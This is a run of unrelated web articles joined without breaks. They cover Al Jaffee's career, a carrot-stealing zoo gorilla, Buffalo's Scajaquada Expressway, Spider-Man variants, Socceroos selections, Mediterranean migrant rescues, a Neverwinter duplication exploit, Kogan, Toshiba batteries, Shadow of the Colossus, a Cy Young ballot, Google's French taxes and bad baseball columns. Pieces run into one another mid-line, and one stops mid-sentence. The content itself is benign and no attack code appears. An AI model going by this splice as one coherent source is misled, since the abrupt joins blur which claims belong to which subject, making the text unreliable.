In 2005, the production company Motion Theory created a video for recording artist Beck's song "Girl" using Jaffee's Mad Fold-Ins as inspiration; Jaffee's name appears briefly in the video, on a television screen.[31]
The March 13, 2006, episode of The Colbert Report aired on Jaffee's 85th birthday, and comedian Stephen Colbert saluted the artist with a Fold-In birthday cake. The cake featured the salutary message "Al, you have repeatedly shown artistry & care of great credit to your field." When the center section of the cake was removed, the remainder read, "Al, you are old."[13]
That was not Jaffee's first interaction with the comedian. In 2010, he recalled:
I got a call from The Daily Show – they asked me if I would contribute a Fold-In to their book, America. I said I'd be happy to do it. When I was done, I called up the producer who'd contacted me, and I said, "I've finished the Fold-In, where shall I send it?" And he said – and this was a great compliment – "Oh, please Mr. Jaffee, could you deliver it in person? The whole crew wants to meet you." And that's where I met Stephen Colbert and Jon Stewart and all the writers, and they told me it was our work in Mad that inspired them. Not me, particularly, but us, generally... They said, "Without you guys, we wouldn't be here." And I felt really good about that.[32]
In July 2013, during the San Diego Comic-Con, Jaffee was one of six inductees into the Will Eisner Hall of Fame. Jaffee, who worked for Eisner in his studio for one of his earliest jobs, was not present during the convention, and the award was accepted by Mad Art Director Sam Viviano, who presented it to Jaffee at a later date. The other inductees were Lee Falk, Mort Meskin, Spain Rodriguez, Joe Sinnott, and Trina Robbins.[33][34] In April 2014, Jaffee was elected to the Society of Illustrators' Hall of Fame.[35]
In October 2013, Columbia University announced that Jaffee had donated most of his archives to the college.[36]
On March 30, 2016, it was officially declared that Jaffee had "the longest career as a comics artist" at "73 years, 3 months" by Guinness World Records.[37] Guinness noted that he had worked continuously, beginning with Jaffee's contribution to the December 1942 issue of Joker Comics and continuing through the April 2016 issue of Mad Magazine.
Personal life [ edit ]
Jaffee married Ruth Ahlquist in 1945, they had two children, Richard and Debbie. They divorced in 1967. After the divorce, Gaines provided Jaffee with studio space at the Mad offices.
His oldest younger brother Harry Jaffee (1922-1985), who also had artistic talent, had long been coping with various illnesses—for a time he had been committed to Bellevue. Harry had been living with the Jaffees at the time. After the divorce, Jaffee took two apartments in Manhattan, one for him, and one nearby for Harry. Jaffee also hired him from 1970–77 to do his background detail and lettering. Harry quit upon Jaffee's remarriage.
In 1977, Jaffee married Joyce Revenson, a widow. They live in Manhattan, summer in Provincetown, Massachusetts, and winter in Puerto Vallarta, Mexico.
In books [ edit ]
Mary-Lou Weisman, a friend of Jaffee for more than three decades, wrote a profile of him for Provincetown Arts, which she later expanded into the biography, Al Jaffee's Mad Life, published in 2010 by It Books, an imprint of Harper Collins, ISBN 978-0061864483. In addition to reprints of his past work, Jaffee joined Weisman in telling his life story with more than 70 color illustrations depicting his childhood and later years.
See also [ edit ]
References [ edit ]
Further reading [ edit ]A greedy gorilla at Moscow zoo may be overdoing it in the five-a-day stakes after being caught stuffing his face with seven carrots – all at once.
This hungry gorilla at Moscow zoo stole his family’s carrot allowance before sneaking away into a corner and munching the lot (Picture: Olga Gladysheva/Caters)
This hungry primate stole his family’s entire supply of carrots before running away from the rest of his family and hiding in a corner to gorge himself on the orange vegetable.
The content gorilla was captured at work chomping on the vegetables by 37-year-old amateur photographer Olga Gladysheva, who was visiting the zoo.
Although gorillas have been kept at Moscow Zoo for a long time, the first gorilla baby in the zoo’s history – and in the whole of Russia – was born in 2009.
Rationed: A female and baby eat the leftovers (Picture: Olga Gladysheva/Caters)
Meanwhile, as the gorilla gang fight over their carrot supply, poachers are giving their wild African counterparts a tough time.
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According to officials in the Democratic Republic of Congo, the black market for baby gorillas is growing. Alleged poachers, trying to sell one for $40,000, have been arrested in the fourth incident this year.
This year marks ‘the highest number of baby gorillas confiscated from poachers in a single year on record,’ the Congolese Wildlife Authority said in a statement.
Emmanuel de Merode, warden of Congo’s Virunga National Park, added: ‘We are very concerned about a growing market for baby gorillas that is feeding a dangerous trafficking activity in rebel controlled areas.
‘We are powerless to control the international trade in baby gorillas, but our rangers are doing everything they can to stamp it out on the ground.’
Virunga National Park is home to mountain gorillas, lowland gorillas and chimpanzees among various other animals.BUFFALO — The Scajaquada Corridor is a city dweller’s dreamland, a culture-vulture Valhalla. Within two miles there is a restored Frank Lloyd Wright house you can visit, an art museum with Picassos and Gauguins, three college campuses, a zoo and a history museum in a majestic Greek Revival building from the 1901 Pan Am Exposition listed on the National Historic Register. All of it borders a 356-acre park designed by Frederick Law Olmsted and Calvert Vaux.
There is just one problem: An expressway runs through it.
The Scajaquada Expressway, or Route 198, is a 3.2-mile tear in the urban fabric. Built in the early 1960s, it slices Delaware Park in half, isolates north Buffalo from destinations south, makes walking or bicycling in the area a death-courting activity and creates the strange optical illusions common to freewayscapes. The Albright-Knox Art Gallery and the Buffalo History Museum are less than half a mile apart, on opposite sides of the Scajaquada. Looking across the expanse of pavement and speeding traffic, however, the distance seems insurmountable.
“People don’t cross the Scajaquada,” said Alison Merner, the communications coordinator for GObike Buffalo, who grew up in a neighborhood that borders the expressway. “If I were going to go for a run or a short bike ride, I would always stay on my side. You were kind of on an island.”
The Scajaquada is not just a local barrier but also a poster road for a growing movement being championed by progressives in the urban-planning community. They want to tear down some highways in cities and replace all that elevated-and-barricaded pavement with lower-speed streets that favor pedestrians and bicyclists and foster greater connectivity among neighborhoods and residents.Peter Parker can claim many qualities. Diligent, intelligent, heroic, but perhaps most of all, Peter is moral. For years he has lived by the classic code we all know and love, “with great power, comes great responsibility.” There have been times when this has been tested, seen in the Back in Black arc where Peter donned his black spider-suit, brimming with anger over the sniping of Aunt May, and times when his heroism rose above all, showcased when he singlehandedly fought the Phoenix Force endowed X-Men Magik and Colossus during Avengers vs. X-Men. But as the Superior Spider-Man proved to readers, as well as certain Spider-Men catching their spotlight in Spider-Verse, Peter could have chosen a different meaning of great responsibility, a deadlier take on his iconic mantra.
In this series of articles exploring the Spider-Men of the Spider-Verse, I’d like to take a look at one of the darker versions of Spider-Man, Assassin Spider-Man of Earth-8351 (First appearance: What If? Spider-Man Vs. Wolverine #1).
Imagine a Peter Parker who received training instead of learning everything on through trial and error… now witness a Spider-Man who was taught by one of the world’s greatest killers. Trained by the best at what he does, the Wolverine himself, Peter-8351 possesses all of the skills Spider-Man-616 wields,as well as a stronger spider-sense enhanced to the point of clairvoyance, or as Logan put it, knowing things before Logan himself did. He maintains an assassin’s demeanor, calm, collected, and focused. In addition, his web shooters have a little surprise in the form of bullets.
What truly sets this Spider apart from many of the others is the ruthlessness behind his actions and the ease at which he kills his enemies. This is truly a Spider-Man who does whatever it takes to get the job done, much like his mentor. This Peter’s motivation is revealed in his thoughts, “with great power comes great responsibility … and greater enemies. The kind who don’t show mercy. I could either watch them kill the people I loved, or admit I’m at war. And start acting like it.” He is the only Spider-Man thus far to leave everything behind, including Aunt May and Mary Jane Watson, in the name of eliminating his enemies. Constantly serious, with bullets replacing the usual witty quips, perhaps this Spidey doesn’t need the coping mechanism of constantly joking with his foes that Spider-Man-616 has admitted to using. He’s not one to be worried or nervous with his enemies dead and unlikely to return and hurt the people he has already left behind.
Spider-Man-8351 is arguably one of the strongest Spider-Men of the entire roster. With formal training, a superior spider-sense, and a coldhearted demeanor, this is the Spider-Man that the original Peter Parker could have become. Would Peter-616 have a better life if he put down his enemies, taking care of them once and for all? Or does the very act of killing make him less of a hero? In any case, he’ll be an asset in the upcoming war of Spider-Verse, pairing up with the Superior Spider-Man to take down the Inheritors.
Tune in next week to learn more about the heroes, anti-heroes, and villains found in the growing Spider-Man roster!
If you enjoy what you’ve read here at Whatever a Spider Can, we’ve got some exciting news for you — you can be part of the team here too! We’re looking for enthusiastic Spider-Fans to write for us on anything Spider-Man related. just fill in the form you’ll find here and tell us why you want to write for Whatever a Spider Can. We look forward to hearing from you!TEEN Lazio attacker Chris Oikonomidis will be the shock inclusion when the latest Socceroos squad is announced on Wednesday.
Brisbane Roar defender Luke DeVere, 25, looks set to be the other surprise addition to Australia’s 23-man squad for upcoming friendlies against Germany and Macedonia on March 26 and 30.
Oikonomidis sprung to national coach Ange Postecoglou’s attention last week when he was named on the teamsheet for the Rome-based side’s Italian Cup semi-final against Napoli.
In-form Melbourne City midfielder Aaron Mooy should be rewarded for a consistent season, while Josh Risdon (Perth Glory), Bailey Wright (Preston North End) and Ryan McGowan (Dundee United) are competing for one, possibly two midfield spots depending on whether Torpedo Moscow’s Ivan Franjic is deemed fit.
Return at 11am EDT on Wednesday to watch the Socceroos squad announcement.
A minimum of four changes will be made from the Asian Cup squad, with midfielder Terry Antonis left out due, allowing him to play in the Olyroos’ first phase of Rio 2016 qualifiers.
Several others on Postecoglou’s radar have been left for Olyroos coach Aurelio Vidmar, who will name a 23-man squad on Monday for the qualifiers in Chinese Taipei, starting March 23.
READ HERE: 11 Aussies overseas you haven’t heard of, but hopefully will soon...
ROO RADAR: click here for our colourful wrap of our Australians playing abroad
Postecoglou was excited that 46 players would be exposed to international football this month.
“Not just on radar but actually getting international competition.
SS Lazio 1 - Napoli 1 Coppa Italia Semi Finale. 🔵⚪ #sempreforzalazio A photo posted by Chris Oikonomidis (@chrisikonomidis) on Mar 4, 2015 at 2:13pm PST
“I’ll be working closely with Viddy and the Olyroos program and giving them some real priority and making sure they’re well resourced.
“For us the gaps that still exist in our senior team in terms of the depth, the best way we’re going to create that depth is through the younger players and get them international experience through the Olyroos, alongside lots of international football for the senior team, fantastic that over the next 2-3 years potentially we could have 30-40 players playing significant international football.’’
Though Olyroos age, Oikonomidis, 19, has been fast-tracked as Postecoglou searches for more diamonds on the eve of Russia 2018 qualifiers kicking off.
Bred in Sydney’s Sutherland Shire, Oikonomidis moved to Atalanta several years ago and was recently nabbed by Lazio.
A wide player, Postecoglou could even hand Oikonomidis a start with Germany-based Robbie Kruse still recovering from injury.
Socceroos hopeful Nathan Burns joined the Fox Football Podcast this week. Listen here as he joins Fox Sports’ Adam Peacock, Simon Hill and Brenton Speed.Media playback is unsupported on your device Media caption The BBC's Matthew Price saw hundreds of rescued migrants arrive in Sicily
Italian Interior Minister Angelino Alfano has warned that a naval operation to rescue migrants in the Mediterranean Sea may have to come to an end without EU intervention.
Speaking in Sicily, he said Italy would not allow people to die but could not continue to patrol Libya's coast.
Shortly after he spoke, a Kuwaiti oil tanker arrived in Sicily carrying another 356 migrants.
The body of a Syrian who had died on the journey was reportedly on board.
At least 39 people drowned some 65 km (40 miles) off Libya at the weekend after an overloaded, inflatable boat capsized while trying to cross to the Italian island of Lampedusa.
The Italian navy rescued another 39 people but there are fears the number of people who died is far higher.
Last October, 360 people died when a boat sank off Lampedusa.
Matthew Price: On patrol with the Italian navy
We set sail, heading south, to the new front in Italy's immigration crisis.
They called the operation "Mare Nostrum" - Our Sea.
It's taking a toll on the country's finances, and on its immigration centres, which are filling up at an alarming rate.
It's also putting pressure on other European countries to share the burden, but there's increasing political pressure within many of those countries to limit immigration.
Mr Alfano was speaking in the Sicilian port of Pozzallo, where many of the migrants have been brought in recent months by the Italian navy.
The migrants picked up by the Kuwaiti-registered tanker, al-Salmi, were from Syria, Libya, Egypt, Somalia and Morocco, Italian media reported.
Another 200 migrants were rescued by the Italian navy elsewhere.
The cost of the naval operation and the logistics of tackling a daily influx of refugees has put political pressure on the Italian government.
Malta has also called on the EU to help shoulder the burden.
Prime Minister Joseph Muscat said sometimes more than 20 boats filled with refugees were making the trip from North Africa, posing humanitarian and logistical problems.After an exploit involving Cheat Engine allowed players to dupe Astral Diamonds, which could then be converted into Zen, the Gateway, or Neverwinter's Auction House was taken offline. While the Neverwinter team reacted quickly, there has been no announcement of the actions they plan to take to restore the damage caused other than a forum post explaining how they will be "taking action" against accounts that "utilized" this exploit. Many players feel that a roll-back might be the best move to make, but they would likely face a good amount of backlash from a rollback as well.When exploits such as this are found, the consequences to the gameplay can often be game-breaking, and frankly, exciting to execute. When Diablo 3 had it's Auction house dupe happen, Blizzard was able to handle the situation relatively well-- by taking all of the RMAH profits of banned accounts and donating it. But will Neverwinter be as hasty and crafty? Residue from a dupe often lingers from accounts not being banned or identified, and with Neverwinter still being such a new game, the potential for exploits of this caliber are to be expected, but may very well affect the game's world for a lasting period of time.While it appears that the Gateway is back online now, what do you think the Neverwinter Team over at Perfect World should do to fix the problem, and if you executed the exploit yourself, what are your plans?...Australian online retailer Kogan will begin shipping to New Zealanders today, saying it will shake up the retail market by undercutting rivals by 30 to 40 per cent.
Kogan is owned by 31-year-old Australian young-rich-lister Ruslan Kogan and turned over about A$300 million (NZ$320.5m) in Australia and Britain last year.
It specialises in selling its own-branded electronics and consumer goods, such as televisions and home and kitchen appliances, which it has manufactured under contract in Asia. But it also supplies branded goods which it sources globally from distributors through a daily tendering process and then parallel imports.
Ruslan Kogan said an example of its price leadership was its own-branded 55-inch "4K" television, which it sold in Australia for A$999 (NZ$1067), a price "no-one had come close to".
The cheapest 4K television on sale in New Zealand yesterday was an LG model with a price tag of $4799 at Noel Leeming.
Tom Godfrey, a spokesman for Australian consumer association Choice, said Kogan produced and sold products at a comparatively low price, but in Choice's testing "had never made the recommended product list".
"Kogan also imports many other brands such as Nikon and Apple. These products are often competitively priced; however, do ensure you check the warranty, and expect a slightly longer shipping times," he advised.
Ruslan Kogan grew up in a state-owned flat in the Melbourne suburb of Elsternwick after his family migrated to Australia from Belarus when he was aged 5. His self-made fortune was estimated at A$315m (NZ$336m) last year.
Australian Communications Consumer Action Network spokesman Mark Callender noted Kogan was criticised last year after disconnecting customers for sending too many texts or making too many calls on mobile phone plans that it had marketed as "unlimited". Kogan has since exited the telecommunications market.
Ruslan Kogan said he decided to start selling to New Zealanders because a significant number of Kiwis were ordering goods from Kogan's Australian site for local delivery and then having them shipped to New Zealand by friends and family in Australia.
Kogan will supply smaller items, particularly those under the $400 threshold under which consumers can import items free of GST, direct from Australia. But it will stock larger items such as televisions at a warehouse operated by a third party in Auckland, he said. Fairfax NZOlivier Giroud will continue on with Arsenal beyond the January transfer window despite losing his spot in Arsene Wenger's starting team.
The French forward - who has only made two league starts after losing his starting place in the heart of Arsenal's attack to Alexis Sanchez - has no intention of searching for a new club once the January transfer window opens, according to his agent, Michael Manuello.
"Olivier is very well at Arsenal," Manuello told footmercato.net, as translated by Sky Sports.
"He will make his season here. Nothing is possible in January. He has no plans to move during the winter transfer window "
Related: Giroud: 'I have no doubts over my Arsenal future'
His role at the club may have been different if injuries hadn't sidelined him to begin the campaign, as Giroud entered the season less than 100 percent fit following his participation at Euro 2016 with the French national team.
However, his goal-scoring output hasn't been impacted by limited opportunities, as he's fou the back of the net five times in 11 appearances in all competitions.How does this sound: a battery capable of recharging to 90% in under 5 minutes while remaining useful (i.e., 5,000+ recharges) for 10 years or more? Sounds like the stuff of jetpacks and food replicators right? Nope... March, 2008. It was a long, long time ago when we first brought you news of these so-called " Super Li-ion " batteries. In March of 2005 to be exact. Now they're here, courtesy of Toshiba who just announced their Super Charge ion Batteries, or SCiBs. The wee 2.4V version measures 62 x 95 x 13-mm / 150-grams while the big, bad 24V version measures in at 100 x 300 x 45-mm and 2000-grams. Oh, and they won't short-circuit and explode. The problem? The first production run is for industrial-use (non-CE) class devices like hybrid cars and the like. Oh pretty please Toshiba, with sugar, won't you make a laptop version?Why Shadow of the Colossus is Still a Masterpiece
In this series, I took a look at some of the most beloved gems spanning Sony’s (almost) two decades in the gaming industry. Potential spoilers ahead.
The despondent emergence from the sanctuary. The solitary ride atop a dark horse across a veritable wasteland. The bleak ascent of the craggy cliffside. And then it’s there: the thing you’ve been searching for, half creature, half monolith, the first of many obstacles.
And monumental obstacles they will be.
Anyone who has played Shadow of the Colossus knows instantly what I am illustrating. Verily, though it is by no means the most impressive creature you will face off against, beholding that first colossus is a gaming moment you’ll never forget, much like the Hydra battle in the original God of War. Not difficult by any measure, not remarkable except for being the first you see, and yet it impeccably sets the tone and pace for the rest of the game.
Released for the PlayStation 2 in 2005, Team Ico’s second project stands as its best yet. While the development team’s first outing was wonderful in its own right, Shadow of the Colossus stands apart from virtually all other games for doing what very few games had attempted at that point. In a time where role-playing games were still a dominating force and Halo’s impact was spreading, Team Ico reminded us all what gaming is really about: an experience.
To laud Shadow of the Colossus as a masterpiece due to unparalleled storytelling, incredible characterization, or mind-blowing gameplay and game mechanics (Agro, anyone?) would be absurd. In fact, it’s largely the exact opposite that critics and fans alike commend Shadow of the Colossus for. Defying the status quo of masterful storytelling, creator/director Fumito Ueda deliberately skimped on an advancing (or even clearly defined) plot and developing characters, and contradicting everything 99% of developers strive for: innovative gameplay.
It was all those choices that made the game, ironically, such a masterpiece and, I dare say, a timeless classic. Rather than have players hone in on the intricacies of the plot, the deep-seeded conflict of the protagonist, or even the gameplay itself, Ueda and his skilled team of developers emphasized the atmosphere of the game. The despondence and loneliness prevalent in the game define the experience in a palpable way, and so unlike many other games, the tone remains consistent throughout. Never do you feel like Wander (the protagonist) is joined by anything on his quest. Even Dormin, the ambivalent deity that tasks him with his onus, is absent outside the shrine. At no point do you feel a divine presence guiding his sword or bending his bowstring. It is only Wander and his horse, which, let’s be honest, is even worse than Wander alone once you’ve tried to control the equine beast for more than five minutes.
Looking back today, Shadow of the Colossus seems a bit like the father of independent games, forgoing so many of the industry standards in lieu of artistic integrity. Like pretty much anything from thatgamecompany (or most other indie developers), Shadow of the Colossus is more about the emotion than delivering the same ol’, same ol’ you hear spouted from the mouths of industry leaders. There is something to be said for this approach, too. Certainly gaming hasn’t even scraped its potential, and there is much more innovation to be seen, but even nine years ago, gameplay was growing stagnant. Perhaps this is what drove Ueda to focus his efforts elsewhere, or maybe he never thought much about it.
Having rambled on enough about the aesthetic, let’s dissect the gameplay a little farther. If there is innovation in Shadow of the Colossus (beyond its unique approach), it comes in the form of combat. I can safely say I can’t name any other game where the entirety of combat is comprised of boss battles. It was an ingenious idea and, in my book, it worked exquisitely. The stamina meter was a nice touch, as well, providing an additional challenge. However, the mechanics could have worked better. Quite often I found Wander moving laterally when I was trying to climb upward, and I won’t even start with that horse of his. These annoyances are small though, considering all the things the game does right.
As if the game wasn’t good enough already, Sony saw fit to re-release it (along with its spiritual predecessor, Ico) on the PlayStation 3 in HD and 3D (which, by the way, is the way to play the game if you have a 3D-capable TV). But even on the PlayStation 2, this game is still superb. Its ambiguous plot has left fans in perpetual discussion for almost a decade now, even as hype for its long-awaited spiritual successor, The Last Guardian, |
might always underperform his FIP to some degree, but even with that downwards adjustment for his own fielding deficiencies, Syndergaard was still one of the best pitchers in the National League this year, and ranked at the top of the second tier of Cy Young candidates on my ballot.
And now we get to the big two. When it came down to it, this was the big decision for me, as these next two pitchers separated themselves from the pack based on my analysis.
Scherzer, I think, is going to win. As I write this post, all I know is that he’s in the final group with the two Cubs, and of that trio, he has the best case.
Even if we just went with the simple runs allowed model of evaluating pitchers, Scherzer would be neck-and-neck with Hendricks and Lester because of the difference in innings pitched; he threw 26 more innings than Lester and 38 more innings than Hendricks. By WAR that is based on runs allowed, that innings difference pulls Scherzer even with Hendricks at +6.9, and half a win behind Lester’s league-leading +7.4 total.
But since we can go beyond runs allowed, the other numbers give us more confidence that Scherzer deserves a larger portion of the credit for those results. Not only did Scherzer dominate the strike zone at an elite level — his 25% K%-BB% was second-best in the NL, behind only Fernandez — but he also has become one of the league’s most formidable pop-up generators.
This year, batters hit 34 infield flies against Scherzer, the highest total of any NL pitcher. Generating infield pop-ups is the most obvious way to suppress your BABIP, and these are the kinds of outs that we can certainly credit to the pitcher, not the fielder; that’s why they’re counted the same as strikeouts in our standard version of pitcher WAR. And those infield flies help push Scherzer well ahead of both Lester and Hendricks, even though their FIPs are all quite similar.
Scherzer combined a league-leading number of innings pitched with elite control of the strike zone and a batted ball profile that gave his fielders easier outs to work with than most pitchers. That’s a pretty great combination, and certainly makes Scherzer a strong Cy Young contender. And he almost got my vote. Except for the next guy on the list still exists.
Yes, I voted to give the Cy Young Award to a pitcher who didn’t even throw enough innings to show up on the leaderboards unless you reduce the innings minimum. Because, when I sat down and looked at everything, I couldn’t get away from the fact that Clayton Kershaw was, once again, the best pitcher on the planet in 2016.
I know he’s not going to win, since he wasn’t even a finalist, meaning I am in the minority in supporting excellence in a shortened season over slightly-less-excellent in a full-season. But in terms of overall value, Kershaw was still right there with the guys who threw an extra 40 to 80 innings.
By our standard pitcher WAR, based on FIP with infield flies added, Kershaw ranked #1 in the NL this year. By runs allowed, he ranked 4th, but was 0.1 WAR from being tied for second with Hendricks and Scherzer. Kershaw had a full-season’s worth of everyone else’s value; he just did it in four months instead of six.
So, it came down to whether I think Kershaw would have had a better season had he thrown a couple of mediocre months on top of what he had already done. Yeah, he threw 79 fewer innings than Scherzer, but he gave up 46 fewer runs. If he had limped through two extra months of pitching with a 5.24 RA9, would we think his 2016 was more impressive? Do we need to see great players perform not great for a while in order to validate their greatness just to get to some arbitrary number of innings minimums?
I don’t. I’m a peak performance guy. When it comes to the Hall of Fame, I’d already put Kershaw and Trout in, even if they didn’t do anything else the rest of their careers, because they’re two of the best we’ve ever seen. And in 2016, Kershaw was at his best again, until his back put him on the shelf for a couple of months.
But what he did before the injury was enough for me to say he was the NL’s best pitcher again this year. Had he stayed healthy, it wouldn’t have even been a race, but he consolidated a full year’s worth of value into the time he spent on the mound. For me, he was the best pitcher in the NL this year, and that’s why I put him at the top of my ballot.Hardy inspired by Sesame St Count
London-born star Tom Hardy has revealed his Russian accent for his latest film was inspired by an unlikely source - Sesame Street.
The father-of-one, 37, said he watched episodes of the children's television show to help him perfect his accent for Child 44, in which he plays an agent from the Russian Ministry of State Security (MGB).
Speaking at the film's UK premiere at the Vue West End cinema in London's Leicester Square, the Dark Knight Rises star said: "I watched Sesame Street. The Count (Von Count) speaks just like it and that's what I based it on.
Tom Hardy attending the UK premiere of Child 44 at Vue West End, London.
"I couldn't get it off the ground at any point and thought that's the best I can do."
Hardy was joined by Swedish actress Noomi Rapace - whom he previously starred with in The Drop - and the book's British author Tom Rob Smith at the premiere.
The big-screen adaptation of Tom Rob Smith's 2008 novel of the same name, which also stars Gary Oldman and Joel Kinnaman, sees Hardy's character Leo Demidov try to hunt down a serial child killer while being on the run, after being stripped of his title in the early 1950s.
The movie has been banned by Russia after officials watched it, citing "the distortion of historical facts and the interpretation of events."
"I really like Russia so I'm a bit upset that I can't go there and meet people. I've got huge respect for the Russians, their culture, art and history," Hardy said.
"It's a bit of a shame but I also appreciate that they've got the anniversary (of the Allied victory in the Second World War) coming up. It's a film at the end of the day - it's fiction."
Rapace, who wore a Vivienne Westwood gown, added: "It's sad. I want as many people (as possible) to see it. For me it's a piece of art. It's not something we are trading for the truth, it's something we did together and we brought life to those characters."
Author Smith said he too was "saddened" by the ban.
"My fundamental feeling is of sadness because there are repercussions about this decision within the film distribution company," he said.
"It's troubling. There must be something in this movie that is powerful... I am curious as to what they are angry about. It's sad."
Child 44 is released in UK cinemas nationwide on April 17.Users here in the United States upset about Canada receiving the update to Android 4.1 for the Galaxy S III will be ecstatic to here that some users have been receiving the update via Samsung Kies for the AT&T Galaxy S III. There’s no hints or indication as to whether this would be an OTA package in the near future, but users that can not wait any longer can go with the Kies software.
Now that AT&T is releasing the update, it’s only a matter of time before Verizon Wireless starts releasing theirs as well. Although, who knows how much longer Big Red could take on releasing Jelly Bean. We all know how long it took them to release the update for the Google Nexus device, which was terrible as it was a nexus device.
Are any of you spotting the Android 4.1 update for the Samsung Galaxy S III? Are you seeing any reports of the same update for Verizon Galaxy S III’s? Make sure to let us know in the comments below!
source: Android Central
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[easyazon-cta align=”center” asin=”B00891PTQM” height=”42″ key=”amazon-us-tall-orange” locale=”us” width=”120″]A Google spokesman in France declined to comment on the report, saying the company does not comment on rumours.
The French finance ministry also declined to comment, citing tax confidentiality.
France is one of a growing number of cash-strapped nations to pursue more aggressively what they see as abuse of tax and accounting rules that allows some multinational companies to pay less tax.
French tax inspectors searched Google's Paris offices in June 2011 as it opened a probe into how the company implements transfer pricing between its different units, a strategy many multinationals use to shift revenue and tax liability between countries.
Google has reduced the amount of tax it pays in France by funnelling most of its revenue through a Dutch-registered intermediary and then to a Bermuda-registered holding, Google Ireland Limited, before reporting it in low-tax Ireland.
According to court documents obtained by AFP, Google France reported €192.9 million of revenue in 2012, and paid €6.5 million in tax on the €8.3 million of net profit it earned.
Industry analysts estimate that Google generated between €1.25 and €1.4 billion in revenue in France in 2011, mainly from Internet advertising.
Last year the Group of 20 advanced and developing nations endorsed an action plan to clamp down on tax avoidance which its creators say could lead to the biggest change in the global tax system since the 1920s.There's nothing everybody loves more than BEST OF lists. And here at Baseball Nation, we've got plenty of them. But you know whose feelings always get hurt, this time of the year? Poor forgotten WORST OF. So in the spirit of the holidays and good cheer and beginning the New Year with grace, it's time to throw a little love toward the worst of something. But the worst of... what?
Baseball players are under a lot of pressure, and many of them don't earn enough scratch to afford the best mental-health professionals. So I think it's best to leave them alone. The writers, though... they we all have thick skins and can take just about anything. Shortly after the World Series ended -- and inspired by one of the efforts excerpted below -- I asked my Twitter followers to nominate the worst baseball writing of the year. What follows are the top nominees, along with my best holiday sentiments...
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Here's the San Diego Union-Tribune's Nick Canepa, in the wake of the news about rookie catcher Yasmani Grandal getting suspended for the first 50 games of the 2013 season:
Whatever ties that bind the Padres to Yasmani Grandal should be cut. That’s right. The chemically polluted catcher should be shown the door by the front end of management’s wing tip. Allow me to tell you why. In performing an incredibly stupid and thoughtless act, Grandal burned this franchise, his teammates and its fans when he tested positive for testosterone and thus was smacked with a 50-game suspension by Major League Baseball. He just tore the club’s head off. It’s easy to say it’s forgivable. But not when it’s unforgivable. --snip-- He thought of no one but himself. How can Grandal look a teammate in the eye? Sorry isn’t good enough. This was a selfish act. He wasn’t a bench guy. He was this team’s catcher. The Padres, of course, aren’t about to do it, but that’s how the pros operate. Professional sports are not a part of the real world. Hard to say they have a world to be a part of.
That's how the pros operate. Because, you know, amateur athletics are shining paragons of virtue. And what, pray tell, is this real world of which Canepa writes? Maybe that will be explained in a future column. The fake world awaits...
This brilliant piece, published shortly after Bryce Harper hustled a single into a double thanks (apparently) to Jason Heyward's carelessness, is headlined "Bryce Harper, conservative hero". Yeah. I'm hesitant to include it, because writer Mark Judge is a political ideologue who doesn't often write about baseball. But someone did nominate the column, and Judge also wrote about Stephen Strasburg. So, here you go:
Bryce Harper is a conservative hero. The star rookie for the Washington Nationals has woken up Major League Baseball, and watching it unfold has reminded me of nothing so much as the collapse of the old political paradigms and the inevitable and upcoming rebirth of conservatism in November. --snip-- Watching Bryce Harper play is like listening to an economic speech by Paul Ryan: It’s long on reality and short on excuses. Harper has slapped baseball awake, and every time he steps up to the plate, years of crusty baseball routine no longer apply. He swings the bat with a blinding snap of force, and in the outfield dives for balls that bored veterans would let go. When he hits a double he usually tries to stretch it into a triple. Manager Davey Johnson tries to bench him for being hurt, and Harper confronts him and says, like a person with enough dignity to refuse welfare: Let me work. Then he wins the game with a crucial hit.
This fails on multiple levels; for a full accounting, you'll have to read the whole piece. But if there's one thing we know about political ideologues (of any stripe) it's that they see almost everything in the world through their own dogmatic prism, rationality be damned.
The following is just a representative snippet from Jeff Seidel's Detroit Free Press column during the World Series, with its catchy headline -- "OK, I'll say it, San Francisco is a strange baseball town" -- really setting the tone:
They sit there -- decked out in orange and black, waving orange towels -- watching their Giants while eating garlic fries, crab sandwiches on grilled sourdough bread, clam chowder, fried calamari, sweet potato fries with cinnamon and chipotle sprinkle, and clove garlic chicken sandwiches. Others can be found drinking margaritas, Irish coffee and an assortment of wines. Can you imagine eating clam chowder and drinking wine in the bleachers at old Tiger Stadium? You'd get thrown out on your tush. Just because.
Just in case anyone's forgotten... the Tigers tore down the bleachers at old Tiger Stadium. Along with the rest of the place. I'm all for tradition and beers and brats and all the rest of it, but the Tigers killed those traditions when they knocked down the best baseball stadium in the world. So give me a break, please.
Of course there's lots more. Which isn't to say that a Detroit writer couldn't write an amusing column about baseball in San Francisco, California. This just wasn't that column. It's like that Seinfeld episode where Tim Whatley converts to Judaism, and Jerry suspects he did it just for the jokes.
"And this offends you," a priest asks Jerry, "as a Jewish person?"
"No," Jerry replies. "It offends me as a comedian."
Seidel's piece, full of one-sentence paragraphs and tired stereotypes, offends me as a writer. I understand that almost everybody occasionally phones one in. But during the World Series?
And finally, I really hate to pick on the Free Press, but this discussion simply won't be complete without the sublimely wealthy and ridiculous Mitch Albom, who wrote a real gem of a column about the A.L. MVP results (coincidentally, a Detroit player came out on top). Here are two of my very favoritest parts!
Today, every stat matters. There is no end to the appetite for categories -- from OBP to OPS to WAR. I mean, OMG! The number of triples hit while wearing a certain-colored underwear is probably being measured as we speak. So in areas such as "how many Cabrera home runs would have gone out in Angel Stadium of Anaheim" or "batting average when leading off an inning" or "Win Probability Added," Trout had the edge. At least this is what we were told. I mean, did you do the math? I didn't. I like to actually see the sun once in a while. --snip-- A box score now reads like an annual report. And this WAR statistic -- which measures the number of wins a player gives his team versus a replacement player of minor league/bench talent (honestly, who comes up with this stuff?) -- is another way of declaring, "Nerds win!" We need to slow down the shoveling of raw data into the "what can we come up with next?" machine. It is actually creating a divide between those who like to watch the game of baseball and those who want to reduce it to binary code.
The only thing that's missing is the proverbial blogger in his proverbial mother's proverbial basement. Actually, that might have been in there. I couldn't stand to go back and read the damned thing again. No, Mitch Albom is not a baseball writer. At this point he's not really a sports writer. But as long as reputable news organizations are willing to publish this sort of drivel, his work is fair game.
For the sake of inclusion, I will mention that I also got nominations for Keith Olbermann's piece on the future of baseball in Florida, for Marcus Hayes' collection of one-sentence paragraphs about the Phillies' second-half prospects, and for the various breathless columns about Royals fans booing poor Robinson Canó at the All-Star Game. But Olbermann's piece, while perhaps overly speculative, is perfectly fine; Hayes' isn't any worse than the sort of thing you can read nearly every day, somewhere; and the Canó thing... Well, pobody's nerfect. For proof, just spend about three minutes going through my archives.
